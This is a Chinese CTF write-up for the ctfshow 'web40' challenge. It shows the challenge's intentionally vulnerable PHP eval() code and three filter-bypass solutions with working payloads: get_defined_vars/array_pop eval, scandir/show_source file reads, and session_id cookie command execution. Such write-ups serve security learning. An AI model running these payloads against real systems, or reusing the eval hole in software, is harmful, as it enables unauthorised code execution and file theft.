目录

  • 解法1
  • 解法2
  • 解法3
  • 本地尝试

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

前言

通过代码审计发现,字母 、_ 、() 和 ; 没有被过滤,仔细观察可以发现里面过滤的括号是中文括号

解法1

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。

用get_defined_vars()来获取所有已定义的变量,发现post数组为空还有刚刚GET传入值出现在get数组还有数组的末端。
/?c=print_r(get_defined_vars());

用post提交参数,cmd=phpinfo();
发现post数组里面传入了值,数组末尾并没有新增元素

这时候我们用 array_pop取出数组最后一个元素,这时候拿到的还是数组末尾的元素[c],因为没有源码没有定义变量来接收post的值(具体可以对比上两张图数组末尾)
?c=print_r(array_pop(get_defined_vars()));

由于get_defined_vars()返回的是一个多维数组,我们用current()可以获取到GET数组,用next()可以获取到POST数组,然后用array_pop()取出POST数组里面的元素,最后用eval执行


?c=eval(array_pop(next(get_defined_vars())));
最后用POST提交 cmd=system(“cat flag.php”); 拿到flag

返回目录

解法2

scandir() 函数返回指定目录中的文件和目录的数组。
print_r() 函数用于打印变量,以更容易理解的形式展示。
localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
current() 函数返回数组中的当前元素的值。别名是 pos()
array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。

?c=print_r(scandir(pos(localeconv())));

localeconv()的第一个元素是"." ,用pos()可以返回数组第一个元素的值。所以结合起来就是 scandir(".") 相当于返回当前目录下文件的数组,最后用print_r输出。


下一步应该要把flag.php这个值取出,来读取文件内容。但发现没有什么办法可以直接取出。

这时候我们可以用array_reserve()把数组内元素顺序倒过来,flag就变成数组中的第二项,然后可以用next()取出(默认指针停留在数组第一项)
?c=print_r(array_reverse(scandir(pos(localeconv()))));

?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

最后我们可以用read_file()、highlight_file()和show_source()读出源码,拿到flag

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

返回目录

解法3

参考大佬的博客
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的

第一种方法

?c=session_start();system(session_id());
提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成ls再提交,然后就会显示当前目录下的文件,也可以用bp来抓包

提交后

修改值为ls 再提交,获得目录的下文件,后面可以继续构造payload来拿到flag,可以用base64编码和写小马。由于php版本问题只能进行到这里,想知道这么做的话可以看下我的 本地尝试

第二种方法

/?c=show_source(session_id(session_start()));
PHPSSID值设为flag.php

献上大佬的效果图

返回目录

本地尝试

参考大佬的博客
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的

用phpstudy搭建靶场,直接把源码拿过来,为了方便测试,把php版本修改为5.6.9

由于本地是window系统,这边用dir来获取目录文件,用bp抓包

phpsessid不支持空格,我们可以把payload进行base64编码,这边想让他输出phpinfo页面
?c=session_start();eval(session_id());

直接base64编码会发现后面有2个=,这样phpsessid是不支持的。

我们可以再加2个;再编码 就可以成功获取phpinfo页面

用第二种方法
?c=show_source(session_id(session_start()));
PHPSESSID=flag.php
自己在本地建了个flag.php

返回目录

小结

这题刚开始被绕晕了,不理解为什么array_pop能取到POST数组中的元素,然后再本地一步一步用var_dump测试,最后才懂,想起这是一个多维数组。后面用session的时候,发现解不出,后面又去网上看了很多大佬写的相关的博客,最后总结起来自己本地尝试,成功解决问题。
用群主的话来讲,就和洋葱一样,需要一层一层剥开看看就明白了

CTFshow 命令执行 web40相关推荐

  1. CTFshow——命令执行

    CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...

  2. [CTFSHOW]命令执行

    文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...

  3. CTFshow命令执行29-123

    命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...

  4. CTFshow 命令执行 web72

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...

  5. ctfshow 命令执行 web29-web77 web118-122 web124 wp

    南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...

  6. ctfshow命令执行篇

    web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...

  7. [CTFSHOW]命令执行55-74

    web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...

  8. ctfshow命令执行(持续更新,已更至web39)

    做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...

  9. ctfshow命令执行

    目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...

最新文章

  1. delphi 程序运行时移动控件
  2. win10+Tensorflow2 + cuda +RTX 3080 +cudnn 安装
  3. 《巴伦周刊》:纳德拉带领微软中兴
  4. 冬季巧食生姜可提高免疫力
  5. 我的第一款 Drone 插件
  6. muduo网络图书馆评测
  7. JQuery语法 JQuery对象与原生对象互转 文档就绪函数与window.onload的区别
  8. 使用触发器记录oracle用户登陆信息
  9. XStream实现缓存
  10. python开发指法练习软件_利用“金山打字通”或其它指法训练软件,学习和掌握键盘指法指法输入规则。如果你的电脑中未安装,请到网上下载并自行安装,这里是“金山打字通2016”。...
  11. 地图瓦片编号与经纬度的换算关系及不同源坐标之间的相互转换
  12. 带省略号的比喻句_标点符号往往能引发人们的联想,例如:“省略号像一条漫长的人生道路,等着你去书写它留下的空白。”请以一种标点符号(省略号除外)为描述对象,写一个比喻句,形象地阐发某种生活道理。...
  13. Mac电脑搭建wordpress教程
  14. Educational Codeforces Round 92 (Rated for Div. 2)题解(A-C)
  15. scrapy爬虫实践之抓取拉钩网招聘信息(2)
  16. 深度融合钉钉PaaS,授客学堂助力企业实现培训数字化
  17. css样式属性值无效问题
  18. 【Unity】Inspector属性
  19. 毕业论文开题报告怎么写
  20. 厦门大学计算机近3年分数线,从近3年数据分析厦门大学在职研究生2018年录取分数线趋势...

热门文章

  1. HDU-4516 威威猫系列故事——因式分解 多项式分解
  2. EXT.NET高效开发(一)——概述
  3. 根据表达式的值,选择field中的值
  4. MTK6515 android打版软件配置(DrvGen.exe 使用)
  5. SylixOS普通定时器精度分析
  6. 云栖科技评论NO.2 | 张学友演唱会逃犯集中落网,真正的“神捕”其实是AI
  7. NSIS 刷新ICO缓存
  8. 2003年我程序员职业的第一桶金7万元的【教育集团招生收费系统】项目经验、项目来龙去脉分享...
  9. 【LDA学习系列】Gibbs采样python代码
  10. 软件架构设计原则和大数据平台架构层